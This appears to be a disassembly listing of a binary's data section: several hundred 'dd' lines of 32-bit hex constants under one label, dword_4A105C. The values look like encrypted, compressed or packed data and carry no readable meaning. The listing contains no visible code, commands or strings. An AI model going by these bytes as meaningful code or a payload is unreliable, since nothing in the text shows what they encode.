		dd 3C419017h, 6BA52A61h, 1244D58Fh, 48ED8727h, 0E38B4F1Dh
		dd 4BC4FEC7h, 9D955E3h,	1211222Dh, 1DA8BD34h, 5622A4A4h
		dd 0F00D5CBDh, 0FE5038E9h, 0B1594C27h, 34E14A7Dh, 7142E07Fh
		dd 9360745Fh, 79A9282Eh, 0E9F21669h, 0B046B02Ah, 20B1D41Eh
		dd 3360FD4Ch, 5D523CDAh, 0D094E793h, 546FF590h,	1CAA654Eh
		dd 56A9C3E5h, 124176A5h, 0EB0805D8h, 56EF59C2h,	71044FF5h
		dd 0B630BFE4h, 5A4C4067h, 4DC8CB0Dh, 68E007A1h,	4C1401C2h
		dd 0C41C3A3h, 840BFD6Eh, 88885C28h, 49340303h, 1EA836Ah
		dd 812745F1h, 44DCC25Dh, 0E2D8F080h, 8D181F32h,	6BF20255h
		dd 8CE0AC09h, 331BB8CAh, 0D830064Ch, 0B7E813C4h, 0C5757C89h
		dd 92D7A531h, 147E54D6h, 0A01F9A53h, 176D31Fh, 6E4D58D6h
		dd 0E3EDD8AEh, 3BDC3A18h, 14CDEF18h, 0AC8916E4h, 0EEDA0117h
		dd 7EE96D2Ch, 0BE0CC67Eh, 581A8863h, 400B64B9h,	95B1428h
		dd 0F1294CDDh, 25085408h, 0F59AE468h, 0C9365E81h, 0CEE942C1h
		dd 0CA660208h, 5D0440A3h, 3E43B14Fh, 0D116BB06h, 395D9651h
		dd 9E045A66h, 1E16941Ah, 0A04625F9h, 4234749Dh,	0C57DF27Ah
		dd 160C1423h, 0D3E4E912h, 54C11CA4h, 65AD6A06h,	1DEDF78h
		dd 13216F2h, 841771CEh,	49A76879h, 0D0FEF692h, 0C05C09EEh
		dd 19DF07E3h, 0EB658C4Bh, 0D0E8B06Eh, 2EB3905h,	43C0555Ah
		dd 76B6244h, 0CF41BD11h, 0FB29652Dh, 0E82AEF81h, 14060500h
		dd 126EE05h, 70E2DF0h, 20EAD25Eh, 0DF125FC3h, 9DA8324Eh
		dd 6BE90740h, 8889DF27h, 4FD54075h, 0A7D4D26h, 0BE0FEA34h
		dd 0EEF27CDCh, 0D32250Eh, 12381643h, 14A2011Eh,	10363E9h
		dd 0D384507Ch, 532109D9h, 3811E89h, 4E552C9Ah, 3E34F007h
		dd 0C9C07728h, 9E674A3h, 0F42CE962h, 5565EA56h,	0D94BF2F1h
		dd 0BAA7583Fh, 192D40FEh, 381D349Fh, 48390075h,	8DBA734Ch
		dd 3C4B2714h, 1C251270h, 0CC90FDD4h, 3D12057Ah,	0FDBC5A6Ah
		dd 39960193h, 0EF0CBB1Fh, 0BD019B9Ah, 42F41648h, 0BAE84F29h
		dd 1207D676h, 20699DE9h, 0F681017Ah, 0E83F9418h, 506ED0Ch
		dd 0E9462277h, 0CB38A440h, 165E7A0Fh, 0C288692Bh, 0F267D583h
		dd 4E813995h, 760D29EBh, 2766112Ah, 885EA469h, 82417550h
		dd 17901270h, 59719FFCh, 38BBBA04h, 0B08249CCh,	26FC63E9h
		dd 2D7CD12Bh, 24E9B2CBh, 341734A9h, 72060D1Eh, 44D5CB8Bh
		dd 0FE594F1Ch, 6FF4A24h, 9B9D93A6h, 3E2DCFBh, 5B3799B7h
		dd 12C21720h, 0A5F2F1Eh, 1D503C9h, 50A24422h, 0B3C02F41h
		dd 98BB439Fh, 76070995h, 15826A8Ah, 115BD9D6h, 0DE0F5C96h
		dd 56C84B18h, 0F054C22Ah, 2934BB00h, 267B7338h,	24345BDAh
		dd 0C10B20CBh, 0A31C0E0Ch, 40FA596Dh, 5A35C7A2h, 46ED795Fh
		dd 0A9280841h, 8007C320h, 662CE6F6h, 1BCC8BAFh,	5C99C2DCh
		dd 0AB5C1287h, 90502B88h, 758F5F8Eh, 6E530B08h,	57E021DCh
		dd 0B4365668h, 28AF609Ah, 0BF1C2DC3h, 0DC7DF83Ah, 3EF50191h
		dd 0C6E934C5h, 0D83F5635h, 524FC1E9h, 0FA000CDDh, 8E07EF1h
		dd 0ECF4E916h, 0FFF10118h, 22BF096Fh, 0E755048Bh, 8F5CA578h
		dd 5DE64959h, 50155C7h,	464A0F4Bh, 763A16Ah, 0D31EC707h
		dd 0FC923FE9h, 7051FEC9h, 2D80E57Bh, 540F25DEh,	75001956h
		dd 49182A34h, 0B9D99741h, 0EE8C5F1Dh, 5A5E0C6Ch, 0A598B89h
		dd 0DDE6A9E9h, 0C8E0E9A8h, 38E078BFh, 95709978h, 175342DCh
		dd 4CACFDD7h, 629CDFFFh, 4161645Eh, 0CA6BDD92h,	74C302E0h
		dd 0DD58BF15h, 8803650h, 27665768h, 4BC7CF99h, 2A68A142h
		dd 96CD3AC5h, 0E5714BCBh, 8612CFCBh, 0AAD17AD9h, 75818B87h
		dd 0A5526AF2h, 93D64047h, 975FFD75h, 8C020912h,	0D76F430Fh
		dd 3E070108h, 0A547D907h, 21E4A063h, 570071F5h,	0A96B83BFh
		dd 97EFD164h, 0D102748Bh, 0B9D6CE76h, 9FC4F192h, 816EF82Dh
		dd 493327Eh, 46D3E4ABh,	0F735B4B2h, 0C4AB20D2h,	4C92F611h
		dd 4E4B1CAEh, 0DC3BF525h, 0A198FEC5h, 5CA227E9h, 6E9AA848h
		dd 8D6D58h, 6A37C9F6h, 504FE911h, 0E01177h, 4662ED0Fh
		dd 0D106E6C1h, 471F20E7h, 3ED2DF82h, 0EE54AFA2h, 0AE05A5A0h
		dd 5D25893Bh, 0B85A820Eh, 0F6850ABh, 6A493551h,	372BDA86h
		dd 0B626D677h, 3844FDA8h, 8A040CBCh, 0B243B70Fh, 8E745BA0h
		dd 0C65305BEh, 0A8EF56BCh, 0C616D2D7h, 692F86B1h, 0BD0FE89h
		dd 66EE5C5Bh, 0CBB02CB7h, 5DE81C79h, 0BCEDC895h, 4409F80Bh
		dd 203F68F5h, 5391E52Ch, 645ADDC1h, 0BAFC52FDh,	0A13F5BC9h
		dd 0AC2FF703h, 4E0DDC6Ch, 0BEF9C8AAh, 901D8E17h, 82780466h
		dd 0DD010614h, 0A35C84DDh, 49FD5A09h, 5D6F809Dh, 836B27B7h
		dd 8F92404Eh, 0FCC17F5Eh, 21845534h, 945C1h, 9D419E68h
		dd 0DD7A8F71h, 0E9065145h, 80832ADFh, 0FA08E298h, 267CBD35h
		dd 3C0F245Ah, 0C804AB74h, 931760A4h, 0E5D95209h, 13773E2Bh
		dd 3584EB2h, 9CB9EDD1h,	2D3D7BAAh, 4EE80635h, 5BCFB0A8h
		dd 0D360106Dh, 0E33FD1Dh, 5BECDD29h, 0F8B6D50Ah, 82E91A31h
		dd 42604065h, 5ACB7286h, 0F433C3DEh, 0E38C6E97h, 5725E91Ch
		dd 7324FE93h, 88DD89F2h, 0E9D8AC24h, 0C83854A1h, 857D1279h
		dd 0F1760045h, 0D4F1A4Ah, 13E9490Ch, 0EDAC24A4h, 0DA8FB328h
		dd 0A8F420A9h, 0E3A7DB2Dh
		dd 1D00CF61h, 742211EDh, 0FAEB892Ch, 28524F42h,	0BD0455DDh
		dd 7EC974F8h, 797C71C0h, 6B204CA8h, 7C45D125h, 0DC0F193Eh
		dd 0E16E65F7h, 92087984h, 0F230D2ACh, 0F5805BB1h, 2AD4F848h
		dd 652580BBh, 0C988185Ah, 6A582B4h, 0D360BA53h,	204FF02Dh
		dd 369005FFh, 0CE2CA72Fh, 93B80944h, 1158F811h,	0AC60E978h
		dd 4161C7EFh, 27147B32h, 1157F4F0h, 3475BD99h, 1812AC6Ah
		dd 0C6375F0Ah, 0FB3116CBh, 0F117EB01h, 5E3D6CE3h, 2D7D771Ch
		dd 0F5A0D74h, 61EAF3C2h, 9DA951E9h, 997B5D78h, 4720B1ADh
		dd 6BFC66Eh, 3D2A027Ch,	74789181h, 0C186D19Dh, 905358C3h
		dd 0B90CFC64h, 810C64EFh, 9B15C105h, 9DE8FF03h,	0E4602862h
		dd 0C0F7F175h, 59CF32F1h, 9F02E919h, 0B7D85D1Ah, 0AD32C9C8h
		dd 12EF5A04h, 2984B0E9h, 3FD7CFC8h, 6CF8DF0Ch, 369055ACh
		dd 1B71A00Eh, 5F0CD33Bh, 0EEF3E391h, 0CCA64AF7h, 10554F07h
		dd 0AF7FF8B7h, 0BBF159C0h, 0F62F5750h, 99D753ACh, 0A578522Dh
		dd 9352B40h, 6CD95A70h,	3F03E306h, 1F82C505h, 97C13F14h
		dd 65079A51h, 0DB2DBE89h, 4727803Fh, 0E91A6D3Ch, 562F157Ch
		dd 20ADBE1Dh, 804C127Fh, 4C308156h, 63872624h, 0B7DD0921h
		dd 23A347Fh, 4CB1EA81h,	28D72D29h, 0E9040846h, 8CBF6D74h
		dd 0AA5E6424h, 12FBCF9h, 4DAE4D01h, 10B13936h, 0A44AB7E1h
		dd 0A44F8EFAh, 0EA84CEB9h, 0AE081316h, 0E1173D44h, 124CF346h
		dd 60BB3E31h, 0B6FAE9A4h, 95EC52BAh, 0BD571940h, 0F709BC53h
		dd 0DA8E095Eh, 0F252BDC3h, 18EC1820h, 7F574D68h, 0D5B665DAh
		dd 54C29068h, 0D329E15Dh, 80B9376Ah, 1594AC6h, 0AFE540FFh
		dd 777F54F0h, 483DE879h, 984E810Dh, 8E91E909h, 0D409E579h
		dd 0F55E5A01h, 40F39B18h, 2ACBB45h, 25A210A4h, 0FC64885Dh
		dd 490C7500h, 71EAD139h, 80F6CA42h, 5340012Ah, 40010D8Bh
		dd 585911C5h, 0D458B794h, 0C90BCBA4h, 0F600CA5Fh, 2DBA6FC0h
		dd 91530AF7h, 601F4A00h, 0FEFD2959h, 781C9A7Dh,	92C00B8h
		dd 1E870506h, 485B2D0Fh, 25A02C87h, 3D375F2h, 494D3539h
		dd 0F7F80A59h, 0E830C1D0h, 882D0A04h, 0F0A404B6h, 0BA6FD4E9h
		dd 97212FCCh, 72F90C09h, 821575Ah, 0CC947212h, 50F3C4E9h
		dd 0EF27F6ACh, 0B276B7Ah, 0BDE11CD5h, 8E0BE312h, 96BB9675h
		dd 6B686001h, 7F5E2C60h, 5055EECh, 804DFA33h, 28201D62h
		dd 0EB2631ECh, 6F30E75Dh, 4A0C6853h, 4E7ACA6Eh,	502C10F6h
		dd 0BFD20B3Fh, 87205CC6h, 0E6C102E8h, 74B76808h, 0BE3218D7h
		dd 6E6401B9h, 0E9464E09h, 0B412C54h, 57EC380h, 0B4F88A43h
		dd 0EE568B8Eh, 3870C998h, 0ABDA5841h, 12C11D24h, 3A0731CDh
		dd 5D5816D2h, 452D1D5Ch, 0C3632225h, 9870CCCh, 5CD9BF56h
		dd 12E96B92h, 9654F30Eh, 4293ACD1h, 48E9CA3Ah, 3DA54FB4h
		dd 0B3123C20h, 7E531B6Eh, 0E9E84E7h, 21E2C548h,	0C10E82BDh
		dd 0B3A9A150h, 45C9C0DFh, 409E9EDCh, 0B5515266h, 6D924B5Ah
		dd 6703071Bh, 0EA8871EDh, 0BEC2F059h, 0FE6D28C7h, 91B050B0h
		dd 0C0D825F6h, 1C755658h, 0C88B2C80h, 81002B64h, 0A2AA9CEEh
		dd 80C7A1F5h, 801CAE04h, 0CE89DFD6h, 0E6B85620h, 0FC525B79h
		dd 1869010Bh, 4BDBF777h, 0EB46AF40h, 0E9A4093Dh, 4FEE21E6h
		dd 0F3DF8382h, 44FF683Ch, 2CB0A7E9h, 0F343D2B2h, 44938107h
		dd 41664874h, 0CD122E0Ah, 80454601h, 0F47FD01Ch, 0A169788Fh
		dd 1FADC22h, 0AC6A7BCAh, 0AF1F600Fh, 68BC0800h,	0B0E9D589h
		dd 0AC3FE17Fh, 96C1A4C4h, 0E36ED1FDh, 0D96802E7h, 5734381Dh
		dd 2C5FDDC1h, 0C0A84F69h, 7428E9F1h, 2D03BDB9h,	0B946FF36h
		dd 0BE0B4E29h, 9BACCA53h, 2ECFF5F5h, 0E9082CCBh, 5D13CD7Ah
		dd 5B698FAEh, 0A1C89EF8h, 77DBE01h, 7720659Eh, 60347586h
		dd 4EC40C14h, 21F9477Fh, 9117F83Bh, 43C1315Eh, 0DE7A3CFDh
		dd 32BA4FE6h, 0FCC2C252h, 0A1D00827h, 0CA5A5808h, 1B8279C3h
		dd 5EAF3F65h, 35C2426Ch, 9CC18FFh, 0AF4C9FDDh, 0B5FC09F9h
		dd 0CF9094E7h, 636DB146h, 807DD877h, 0FCA8B799h, 1279D1D4h
		dd 0D005EF2h, 4AE82151h, 34FA5801h, 64E5507h, 15C7E00Bh
		dd 2D25A964h, 0F9EC6447h, 0B438ED4h, 0F6E93DC3h, 68559921h
		dd 0F1287A02h, 0BFE86201h, 53F7525Dh, 0B0D4E92Eh, 82CAB958h
		dd 12D8D660h, 95F82980h, 9C058E40h, 46E0839h, 130A685Eh
		dd 4BA98AABh, 129E1DBCh, 1931FF42h, 9D515309h, 0AE052C2Bh
		dd 4BD2DBC0h, 0C10E3E7Ah, 0ABF705A7h, 90322064h, 9F1B3D2Ch
		dd 80450EAh, 9A0AE58h, 0EE3325E9h, 4C98FDC4h, 2761C40Fh
		dd 14E73FC5h, 0F27AF799h, 0FE87CB2Fh, 9FAE58F2h, 39E2783h
		dd 0CA2634D6h, 8C641A03h, 0A5DCD920h, 9DF4BE64h, 0B0AE2ED1h
		dd 3A40EA17h, 7E394B2Dh, 94C3FE78h, 0B07E5275h,	50B95C25h
		dd 139438E9h, 0B2A9C52Dh, 9FD619FEh, 3D14D52Dh,	0D79F4F25h
		dd 5B95B316h, 0E27E6A80h, 4C553E91h, 5FEEF590h,	0A1D9BF09h
		dd 4FA57025h, 565CC265h, 98611C5Fh, 8CCA5E65h, 174158C8h
		dd 41FC3931h, 0A9C99F8Fh, 0F3E27B02h, 0FAABF202h, 60557275h
		dd 0B5C15BE8h, 0A609E2D6h, 0F51E7D63h, 384DBA00h, 73E94BDDh
		dd 0E26FB454h, 0FE992BFBh, 1FE87B5Ch, 0B65044A2h, 880AFE9Dh
		dd 5E2D9EA4h, 6866025Ch, 6BC22E64h, 0E580FE56h,	2F3E3742h
		dd 87D501F7h, 60E947FDh, 0F2CC7E3Ch, 31ED5BCDh,	0AD6C74F0h
		dd 253AF811h, 92183AC9h, 3F004823h, 21CE8157h, 391D1917h
		dd 0DE17D6F7h, 0ECEA17E9h, 5B0B9E71h, 9507E4C4h, 0BA2834F1h
		dd 0C060C327h, 9F0BA8A8h, 0F7BC21EEh, 7D3DD4C2h, 750B6D94h
		dd 0F840DE08h, 0EAA02C71h, 60C46E88h, 29818045h, 0CDE65AD1h
		dd 0C2E01A95h, 8DB5772h, 79DFA08h, 8580B359h, 0F6BCB046h
		dd 0C701D778h, 5BFD28ACh, 0A16EE52Ch, 0E922D279h, 2D5D546Ah
		dd 0AEE419E3h, 1E25BEF3h, 0E1BB9C87h, 3B146840h, 0B026D0A9h
		dd 0E922056Fh, 48DBE886h, 118D01CCh, 0C783012Ch, 93EE3CEBh
		dd 31456F0Bh, 510831D2h, 152923E9h, 0C9C49958h,	0BE90471h
		dd 0AD9F16FEh, 0BFF4F4ECh, 77D05A4Ah, 2AB8BD17h, 807A5D39h
		dd 76135147h, 9F0964B8h, 0D52D1A0Ah, 0C33C8B8Fh, 16C256D6h
		dd 45DCF450h, 95E17F82h, 0E4F9307Fh, 5077DDAAh,	0BE56026Ch
		dd 8B7A26E7h, 187FA3F5h, 0C19903CCh, 0CAECE682h, 1FEACFF3h
		dd 5F3A99D0h, 0C45AD453h, 0BBB1740h, 4F5C61C7h,	0C486978h
		dd 4CBD76A1h, 18542CD6h, 89D7C997h, 0DEC4DFD4h,	200B80B7h
		dd 0C119C54Dh, 0C704E1Ah, 0B5A03FC0h, 6B89BF77h, 0B01155Fh
		dd 0DA62EAE9h, 858F15F6h, 0A415AF56h, 0CCFE0695h, 395B6BDFh
		dd 0DA1024CFh, 983320ECh, 0C62D2099h, 3DEE6813h, 92B33635h
		dd 17E90D62h, 565A8570h, 0CE3B8AC9h, 2FCF0068h,	5687C9Dh
		dd 0EC122D2Eh, 0CE53B07Fh, 532C0A62h, 208DF201h, 5EE91208h
		dd 3A282973h, 0F42DA1CBh, 5395C578h, 9ADF2526h,	0DBDB066Fh
		dd 8BF3044Fh, 97306121h, 0A14BE5A6h, 96DDDA05h,	2959164Bh
		dd 61E4444h, 0FD880758h, 74876C22h, 402DBF86h, 312E972h
		dd 0B105DC7Ah, 7022DE8h, 0F53C8B5Dh, 6A7182D9h,	6604C678h
		dd 0BA06685Fh, 0E950C830h, 2DDBB60Ah, 7752047Ch, 0AE208952h
		dd 160C909Bh, 4A75289h,	8FC4F8FAh, 4E9A42C9h, 0BC6A95F1h
		dd 0E3FBE411h, 0C3810AB8h, 0E9C3CF02h, 0A8AF7869h, 80B3F88Dh
		dd 800552B6h, 0C6FE05E6h, 0DABFA70Bh, 14340630h, 5E31108Bh
		dd 175FB8FCh, 0A1044E6h
dword_4A105C	dd 0ABE9CF14h, 6EE4FDC5h, 0C8B70F02h, 57260D68h, 562B1619h
		dd 7CF0AA83h, 74FBD3Bh,	703B52E3h, 52F181Ch, 0E948AC56h
		dd 0DC17EAC2h, 0FBD6A5A2h, 0BC7A093Dh, 5CD5A120h, 1C6C77C2h
		dd 6221D695h, 997D9ADFh, 32AF7814h, 5E5031DDh, 603626Ah
		dd 0F28171F4h, 40E84AE1h, 9CA8D630h, 8025BE4h, 0D93C55BBh
		dd 42946A3Ah, 0D8C45DAFh, 4BA85297h, 7A74F905h,	881D0F24h
		dd 0A78C32BBh, 6A72D929h, 9D421754h, 0C27AECADh, 112D16C0h
		dd 9863975Ch, 68A140B7h, 0D130C72Fh, 0C8FF6916h, 7EDD2DFBh
		dd 0CFC448A4h, 215BA925h, 9712E946h, 5759C15Ch,	623809FDh
		dd 2CE82801h, 0D8596658h, 345A04D8h, 8214F188h,	0B606674Ch
		dd 0C4B7E9BCh, 0E8F8B54Dh, 90E8AD5Bh, 0F9286C0Dh, 59D9D712h
		dd 7FF64DEFh, 646CB1E1h, 0FEC182F5h, 3CBE030Bh,	81807E25h
		dd 0EDFA60B4h, 0AFA7C65Eh, 0F85DEF16h, 0A1E789CFh, 0FC04ACF5h
		dd 0BD52D8C0h, 0E9842695h, 0A4AABD62h, 0A05ED93h, 5A7AA228h
		dd 13E412FBh, 0FE2D851Ah, 0FE939EE7h, 0DF3FBB92h, 52210196h
		dd 6B912CBAh, 454F45D4h, 66FC0AB0h, 3433EDC4h, 0B7A1AD16h
		dd 0BE55D56Ah, 8C92108Ah, 0F324E983h, 26B1C0Dh,	0B31157Ah
		dd 20E61300h, 0F2973883h, 0E9071C32h, 7CA1E091h, 72F33EEAh
		dd 4CFE5628h, 55CF2C7Bh, 0F587262Dh, 0F6913A2Dh, 0D13AB951h
		dd 2AC8290Dh, 0BC7B47D9h, 0A09AF250h, 4D85BDBCh, 0F77B1855h
		dd 0E512ADDh, 0D8476628h, 0EE86CE09h, 208D5871h, 0E7FA081Bh
		dd 964E937Bh, 1F58C801h, 812A76FCh, 592D90DCh, 41F82ADDh
		dd 8D1292D4h, 0C4B5ACAFh, 0B4093680h, 0ACEA0782h, 92BDE47Bh
		dd 86C9345Fh, 1010E77Ah, 0F2589871h, 751BDA00h,	1068437Fh
		dd 86E2654Dh, 77110B70h, 0CA3F27CBh, 931F96D3h,	606E3A6Ch
		dd 53BD55F9h, 573E4830h, 0A3C7B216h, 0C3800C07h, 7670062Dh
		dd 0E990CE28h, 4B49AC17h, 73A619F9h, 0C74A1790h, 66C99AFDh
		dd 9A6FA4DCh, 0C00FDCDBh, 0FE2858B7h, 6EB05BF0h, 0E890CEEAh
		dd 0EE80A102h, 5054E9D5h, 0BA242FB8h, 4839675Eh, 20E948DDh
		dd 0BC63BC71h, 0CC5DE392h, 375A86AEh, 0B4D4DA7h, 0FEC1F9C4h
		dd 4F6812E4h, 7F729AE8h, 4A7D6D38h, 29A0AEFCh, 0A2B758C5h
		dd 0B9FA768h, 91E3C56h,	21415D4Eh, 46116849h, 0E4718C2Fh
		dd 0E011EA67h, 3EDF3773h, 21925E0Eh, 0C9BA21C1h, 0EF35F509h
		dd 39468DEAh, 7CBD881h,	75CEB57h, 0A6D932E9h, 10DD5BD6h
		dd 6267C32Bh, 144A5A13h, 0BB8FAADBh, 657C599h, 3149F4C0h
		dd 187358FFh, 0DC6D4105h, 0AAFD802Fh, 0F3B5547h, 203B48D1h
		dd 99464CB6h, 3B30E605h, 9230EE17h, 4F46EF6h, 0ABE94264h
		dd 3EEECA07h, 0F1442553h, 8385A7AEh, 78D4F15Eh,	8635D4DAh
		dd 5DC9918h, 6F5D5BBFh,	0C120FB35h, 0FF95214Ah,	7212A542h
		dd 4FDEEE4Eh, 5ECEF26Fh, 0B72E568Dh, 0D0EE8FCEh, 0A130E982h
		dd 0D926CE44h, 0C02F5D19h, 79217EC7h, 0E30EC0EDh, 6CEF7F82h
		dd 57F59FA0h, 7EC03Eh, 11169DEBh, 4F4FE92Ch, 2FCB3D74h
		dd 55DF8B80h, 0BB7C1A19h, 8ED50BE1h, 73A2499Dh,	9E780D78h
		dd 48F03A4Dh, 3E5414D4h, 0C804CA60h, 0AB1E7A14h, 9DC85C6h
		dd 0C777FE84h, 7C18605Dh, 8358819Fh, 0DE8679AEh, 43BFE1F0h
		dd 8831D753h, 0F6454001h, 0BF799224h, 0E1156B04h, 4353AC1h
		dd 3068EC30h, 10A8DAFAh, 0EC276257h, 0BD04C87h,	0F24E5E4Dh
		dd 638484AEh, 616D1A9h,	1125054Dh, 2AFDCDCFh, 0AC12BFA7h
		dd 4B89B23Fh, 85752EFh,	8426B7D4h, 7BEC716h, 0D259588Dh
		dd 19760114h, 16FE1B97h, 968BEA7Dh, 0B895A413h,	17AAB529h
		dd 2BD3DD0Dh, 4664C930h, 0AA235AA2h, 2E08C610h,	8F646E5Fh
		dd 5A0F09EAh, 0F22FDC59h, 5EC87A6Eh, 0EB5D3594h, 0E9C2D6B6h
		dd 0BBD56555h, 0DB51B2D9h, 0BA564BDDh, 0AC4EC14Bh, 8713B841h
		dd 4CCD34A4h, 0B1385104h, 590F77D1h, 3CF08850h,	0EF5EC5DDh
		dd 6C25859h, 722CA434h,	44900B0h, 72B55163h, 37B0CD80h
		dd 70E1F525h, 95CCBD68h, 19856817h, 0AB02D1B3h,	0E2C0C2FEh
		dd 0A9B635E0h, 5890F8A4h, 0FC1F882h, 0C410F0BDh, 63A0604Bh
		dd 0E36F4FCDh, 84ED4E8Ch, 49A592Bh, 92738E9h, 4086F15Ch
		dd 0C18077B2h, 98E9AD17h, 0EB3DD2ADh, 14E430Fh,	0A9708A65h
		dd 3312026Fh, 0E0564661h, 2C775B65h, 114A0543h,	1DE526E4h
		dd 42263002h, 0F2B84013h, 1DBC0466h, 172F33E9h,	0F9F5D0F8h
		dd 0C91E8600h, 0EEC2068Fh, 0C36787Eh, 0A0A22D1Eh, 0D2ED023Eh
		dd 5009284Ch, 8C55059h,	0D87AC15Ah, 0B80F8F67h,	4891CE4Ch
		dd 0D96A661Bh, 2E32CD2Bh, 12B41738h, 0ABE328C4h, 74E24BF5h
		dd 67E95051h, 5215EDBCh, 0E1DB102Bh, 0EF38C150h, 0BA53C415h
		dd 2AF26B37h, 258C44BEh, 2FF12241h, 80E2B480h, 1C289FECh
		dd 0FEC058E1h, 0F8C5EC79h, 76197FE9h, 0F6CFE0EFh, 708DF7C7h
		dd 6D7DEBCDh, 0BF83833h, 795220C8h, 0AF5A935Ch,	8EEFF612h
		dd 0FF624FDEh, 1E717D8Eh, 0C350F28Ch, 0F4BC5AD6h, 989719F5h
		dd 0CC4046ACh, 5C95F125h, 1863DEF6h, 85B04B17h,	5BFDCBFAh
		dd 1A9313EFh, 955C18C7h, 76A89E09h, 0F7E95BECh,	0BE849CF9h
		dd 39BB7F40h, 259FCE81h, 0E1F88042h, 1306D7Ch, 4D9B0C68h
		dd 182758D9h, 4C1FEC75h, 66204110h, 0A5245A60h,	252A902Eh
		dd 0FC7C6468h, 95C5CC6Ch, 0F95ABF56h, 685D61CBh, 4D27AAFh
		dd 0FC47DF0Ch, 21815E2Dh, 0DF878FFEh, 0F7F80B49h, 321E709Dh
		dd 0F779F6CFh, 0D95EF169h, 0B6E2F7DDh, 25BCD5D6h, 30BF109Dh
		dd 0DFD3E4DAh, 0CAADBB08h, 5B17C259h, 0BA1C08h,	0BA2CD81h
		dd 0AE9035E8h, 0C6709E05h, 0BBA89CCh, 2683B0Bh,	418222D6h
		dd 427E47F3h, 0E1304243h, 56F5A980h, 210949EDh,	56E657E9h
		dd 0CC044BA1h, 0CB1AF861h, 0EBB7438Ah, 10DD503Eh, 1B093E4h
		dd 6F3B1EB9h, 9EEB2043h, 235E3D90h, 82610BFh, 55FF593Ch
		dd 882B1751h, 8FE25E51h, 9233B2C5h, 9F206C8h, 0E2A85AFDh
		dd 0DFA961F7h, 23231ACh, 73E61091h, 0D01E456h, 34D060EBh
		dd 80352730h, 7295EA81h, 0AB0CD29Eh, 0E950AA42h, 9A4E80Ch
		dd 5D79EEEEh, 5C936970h, 0B2F01204h, 0DBBCD6CBh, 3B87BCE2h
		dd 4D0F20E5h, 0CD5F8747h, 0E1158EA8h, 9259C590h, 0EA2AE748h
		dd 1C0B25D8h, 0FCCDF919h, 519F71CCh, 0BCEEC2CBh, 1378F15Fh
		dd 80F6E252h, 86E9CB88h, 4F66B7A3h, 0A3569830h,	2F667FCEh
		dd 2E5F227Eh, 0B600720Dh, 4C958AD5h, 28EF9221h,	16445063h
		dd 0B83C8068h, 0F500E463h, 39DA4C0Bh, 66F4A801h, 2D5E0010h
		dd 0D5BF5749h, 2713786Eh, 0B7539BE9h, 402884A4h, 0D64AF74Bh
		dd 0DCC7E402h, 33A2C018h, 405D8296h, 3E25E712h,	0CA14415Dh
		dd 0EA023D4Ch, 3F33210Fh, 209FCF5Ch, 402B2600h,	5C8EE05h
		dd 0BFE9140Ch, 782FFF5Ah, 0C528E94Bh, 0DABA2C8Bh, 0F5D94B49h
		dd 0F660DC29h, 55946285h, 73664F60h, 0B7266F76h, 34BD26A0h
		dd 6826647Dh, 0C81613F7h, 0BC7F63F1h, 7771F23Fh, 292FF8F0h
		dd 0FF031ECEh, 0E9E0B73Dh, 5695E62Fh, 0EE5C446Ch, 0E916F7B3h
		dd 542BF4A9h, 0A54B73B5h, 96685010h, 0E8B3755Eh, 60BEE80h
		dd 0F2BD28A9h, 400882A5h, 0D79DB358h, 0E527FB82h, 2605C4A5h
		dd 0F2EE5BDFh, 0C5E21090h, 0C2EF8102h, 0FD8E110Fh, 4940FBC0h
		dd 0F84C319Fh, 0C113405Fh, 862F610Bh, 76857D69h, 5FF792D3h
		dd 0C08BEBFEh, 79B1E41Fh, 0BB5C2057h, 594A5D90h, 39F7CEA4h
		dd 0E90DC771h, 0E35FD03Dh
		dd 348345B0h, 83937A97h, 161C0E08h, 0EA53375Bh,	9C7A39D1h
		dd 2CFC3AA5h, 4FFB3E3Ch, 0D3C5ADB8h, 5287E3B8h,	13F4A54Fh
		dd 0B900F1EDh, 0CF2D1846h, 70047F7Ah, 0B869D094h, 0D450539Ch
		dd 0D7601A82h, 0C495F153h, 23B9486Ch, 9068592Dh, 93BD61B4h
		dd 8A4CC15Fh, 0C2AF202Bh, 2A24119Dh, 0C1DBA6Eh,	0E97005BDh
		dd 0DB454414h, 9C105EF5h, 0E46513F0h, 0C1AD1ED7h, 9DA294ECh
		dd 6649D85Ch, 1DB50784h, 3459EB28h, 59D2F2C3h, 0A4A17EF5h
		dd 0E1C381C8h, 341A2001h, 1C9CD02Eh, 2A0B763Ch,	5979C6E9h
		dd 5A5D2CD0h, 9F10E45Fh, 9922BEC0h, 0CB71D695h,	0D87F0905h
		dd 254A192Ah, 0AD05B3B3h, 4317B845h, 65068F3h, 97B1E513h
		dd 0BD3E4A89h, 0FC582FDBh, 89262E40h, 0FD74D07Eh, 95BF4478h
		dd 0BE20C894h, 5ADB88E7h, 9006B756h, 465F48D4h,	40EED0D0h
		dd 2C4C2435h, 0D8EB0B6Ch, 0A79A0433h, 4072CE5Eh, 11E9449h
		dd 6B8233Eh, 7E70FD38h,	256DF886h, 5D4E3308h, 7B17E9F7h
		dd 82BF7352h, 4DDE7916h, 54012EA6h, 0F209E0D2h,	0E1825020h
		dd 0E521BD6Ah, 0F134930Bh, 0B9EF452Ah, 0C72903F0h, 2E803E9h
		dd 6C51C1CFh, 8405376h,	9A312733h, 4AD3D417h, 0B84543D4h
		dd 2AE90C9Dh, 0E50E0497h, 6661E00Fh, 42676B4Eh,	0BE207F9Ah
		dd 20623798h, 0B668F9FAh, 5A279365h, 1A5B65FBh,	3BDABAD7h
		dd 2029680Ah, 0F2EF8DDEh, 9A042E2Ah, 0E1A25E66h, 2F196A86h
		dd 14771C24h, 0DFA7D742h, 42FCDB1Ch, 5A56D565h,	0F962F504h
		dd 0AEE82804h, 0A45E0C61h, 0D5FBF23Eh, 0C0AC2F6Eh, 5B016843h
		dd 64F23162h, 6257BDBh,	0B50FB885h, 7C57A659h, 0C58DEEADh
		dd 0FFC8013Eh, 0FA93AEB3h, 2E855365h, 96FEA3FEh, 48872CBEh
		dd 452E8792h, 5817B54Dh, 5027DD90h, 6103408Fh, 63BA0114h
		dd 62FE00FFh, 10E926C7h, 0A5D99FA5h, 0D16FEB4Eh, 37970289h
		dd 50614AF2h, 0D61E05ADh, 0C68DE292h, 5F1ABA7Ch, 8B8EEFBBh
		dd 5AD7A8F7h, 815027E7h, 0B7965A60h, 23257BBFh,	0CAB118ABh
		dd 0E3335C1Dh, 4F3AC302h, 874027D5h, 0B93071B0h, 4A80C4Dh
		dd 6E2A40E3h, 2B5E7C18h, 4A867830h, 9E6A0EFh, 29EC6078h
		dd 885089Dh, 0DF9B752Fh, 69B2A48h, 0CA012105h, 8822Ah
